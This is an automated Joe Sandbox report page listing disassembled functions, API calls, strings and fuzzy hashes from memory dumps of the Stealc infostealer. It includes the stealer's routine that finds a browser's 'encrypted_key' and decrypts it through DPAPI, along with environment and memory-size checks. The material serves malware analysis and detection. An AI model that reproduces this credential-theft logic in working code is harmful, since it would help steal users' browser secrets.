Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 04faafb65c4d5afd1ed33c82680185ff84dddfce38db6fb5b2fd52ddc360a084
Instruction ID: 063b2849540b9b36e5c7966611795b6a091b9c7cc850de92520467ce1e1693b6
Opcode Fuzzy Hash: 04faafb65c4d5afd1ed33c82680185ff84dddfce38db6fb5b2fd52ddc360a084
Instruction Fuzzy Hash: 05210A71900218AFDB68DB54DC85FE9B3B9FB48705F00C198A609A6180DF71AAC5CFD5

Function 006347B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 006347EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00634839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

Strings

<, xrefs: 006347C9

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c25dc0afb41b6d6e3ae9ec35cff178dadcfe66c634a259e58c2ac64c3a25703b
Instruction ID: 381b22b340bdb04e502fcb22b6ae72dc42bc1dc049d31bdc2a98f77509acc67b
Opcode Fuzzy Hash: c25dc0afb41b6d6e3ae9ec35cff178dadcfe66c634a259e58c2ac64c3a25703b
Instruction Fuzzy Hash: 622149B1D00209ABDF14DFA4E849BDD7B76FF45320F008229F965A7290EB706A15CF95

Function 00647690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006476A4
HeapAlloc.KERNEL32(00000000), ref: 006476AB
RegOpenKeyExA.KERNEL32(80000002,00F68890,00000000,00020119,00000000), ref: 006476DD
RegQueryValueExA.KERNEL32(00000000,00F702A8,00000000,00000000,?,000000FF), ref: 006476FE
RegCloseKey.ADVAPI32(00000000), ref: 00647708

Strings

Windows 11, xrefs: 006476BD

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: ec01eab0967688e69f58668368f29564da6a37855785c655b582c4e343c90866
Instruction ID: ce1d846d6d293bf9fa86011c3f8dd771b1e2be921f21bffed63f3520afedddff
Opcode Fuzzy Hash: ec01eab0967688e69f58668368f29564da6a37855785c655b582c4e343c90866
Instruction Fuzzy Hash: 9B014FB5A44204BBEB04DBE4DC4DFADB7B9FB88702F104454FA08A7295D771D9848B92

Function 00647720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647734
HeapAlloc.KERNEL32(00000000), ref: 0064773B
RegOpenKeyExA.KERNEL32(80000002,00F68890,00000000,00020119,006476B9), ref: 0064775B
RegQueryValueExA.KERNEL32(006476B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0064777A
RegCloseKey.ADVAPI32(006476B9), ref: 00647784

Strings

CurrentBuildNumber, xrefs: 00647771

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 68d867e4804959c438b8244e2c70af9200942eb97074bf8af3533bd295e38416
Instruction ID: 83ead87491061b66983fc8ab43b73ab4905144823a504594023282e78c3a05b3
Opcode Fuzzy Hash: 68d867e4804959c438b8244e2c70af9200942eb97074bf8af3533bd295e38416
Instruction Fuzzy Hash: 7E0144B5A40308BBE704DBE4DC4DFAEB7B8FB84705F104558FA09A7285D67095408B52

Function 006440B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006440D5
RegOpenKeyExA.KERNEL32(80000001,00F70AA8,00000000,00020119,?), ref: 006440F4
RegQueryValueExA.ADVAPI32(?,00F6FFC0,00000000,00000000,00000000,000000FF), ref: 00644118
RegCloseKey.ADVAPI32(?), ref: 00644122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00644147
lstrcatA.KERNEL32(?,00F6FFD8), ref: 0064415B

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 4eb682af5bb48343168ec92a25ecffdf85d85bd9875e806c27a37749c77e92a8
Instruction ID: c8f6843053167a55145de2d4ca3c5ee677e6fe6be0590617af30a51a1568fe88
Opcode Fuzzy Hash: 4eb682af5bb48343168ec92a25ecffdf85d85bd9875e806c27a37749c77e92a8
Instruction Fuzzy Hash: AB416AB69001086BDB18FBA0DC5AFFE737DB788300F40455DB61A57185EA759BC88BD2

Function 006399C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
ReadFile.KERNEL32(000000FF,?,00000000,006402E7,00000000), ref: 00639A5A
LocalFree.KERNEL32(006402E7), ref: 00639A90
CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 78fd685fd41e12e4e20a4c2211dab43afd975e14e489c1c8629012a9361e229c
Instruction ID: 1ea715660b8077dc3d890998b55507f8612ee3afb81cebe64c2f7c8a3574e5e3
Opcode Fuzzy Hash: 78fd685fd41e12e4e20a4c2211dab43afd975e14e489c1c8629012a9361e229c
Instruction Fuzzy Hash: 24312B74A00209EFDB14DF94C889BEE77B6FF48341F108258E915A7394D775A981CFA1

Function 00631220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0063123E
__aulldiv.LIBCMT ref: 00631258
__aulldiv.LIBCMT ref: 00631266
ExitProcess.KERNEL32 ref: 00631294

Strings

@, xrefs: 00631233

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e6efc889250bf0446aa6d6da79016c823cacdb82793a996f90123a99e764e676
Instruction ID: 31be10a428f8c3da4e0bbdab57138cc94904222b5643c2e75d75ebcf53ea1eba
Opcode Fuzzy Hash: e6efc889250bf0446aa6d6da79016c823cacdb82793a996f90123a99e764e676
Instruction Fuzzy Hash: 8B016DB0D40308BBEB10EFE4CC49B9EBB79BB05705F208048E705BA2C0D77496818799

Function 00639CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,006402E7,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(006402E7), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00639D39

Part of subcall function 00639AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nc,00000000,00000000), ref: 00639AEF
Part of subcall function 00639AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00634EEE,00000000,?), ref: 00639B01
Part of subcall function 00639AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nc,00000000,00000000), ref: 00639B2A
Part of subcall function 00639AC0: LocalFree.KERNEL32(?,?,?,?,00634EEE,00000000,?), ref: 00639B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00639D92

Part of subcall function 00639B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00639B84
Part of subcall function 00639B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00639BA3
Part of subcall function 00639B60: memcpy.MSVCRT(?,?,?), ref: 00639BC6
Part of subcall function 00639B60: LocalFree.KERNEL32(?), ref: 00639BD3

Strings

, xrefs: 00639DC1
DPAPI, xrefs: 00639D89
"encrypted_key":", xrefs: 00639D30

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: d3aee2bd8e7cfb85b5659fbe3aa79570b9fe5e8de30f07950c2aa59db131fb1b
Instruction ID: 5da0445e5da23b6a39e1294fb99615f475f567fcc02a1f0564a29d8c04ed1eb3
Opcode Fuzzy Hash: d3aee2bd8e7cfb85b5659fbe3aa79570b9fe5e8de30f07950c2aa59db131fb1b
Instruction Fuzzy Hash: CA313EB6D10209ABCB04DBE4DC86AEEB7BABF48304F144518E905A7241EB749A44CFB5

Function 6C53C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C53C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C53C969
GetSystemInfo.KERNEL32(?), ref: 6C53C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C53C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C53C9E2

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 4a427b487066dfdd0deb6ff8173e79a0b1f46e566ccf0ca3c512e0247d4182ef
Instruction ID: 6b3aa7fa8084e3484b12f6dccb99bfe3ac9b24763e614be3e129425a8a137b14
Opcode Fuzzy Hash: 4a427b487066dfdd0deb6ff8173e79a0b1f46e566ccf0ca3c512e0247d4182ef
Instruction Fuzzy Hash: CB21FF327412389BDB15AAA5DC84BAE7379BB4A704F93161AF907E7740F7707C008794

Function 00647E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647E37
HeapAlloc.KERNEL32(00000000), ref: 00647E3E
RegOpenKeyExA.KERNEL32(80000002,00F68D28,00000000,00020119,?), ref: 00647E5E
RegQueryValueExA.KERNEL32(?,00F70C88,00000000,00000000,000000FF,000000FF), ref: 00647E7F
RegCloseKey.ADVAPI32(?), ref: 00647E92

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
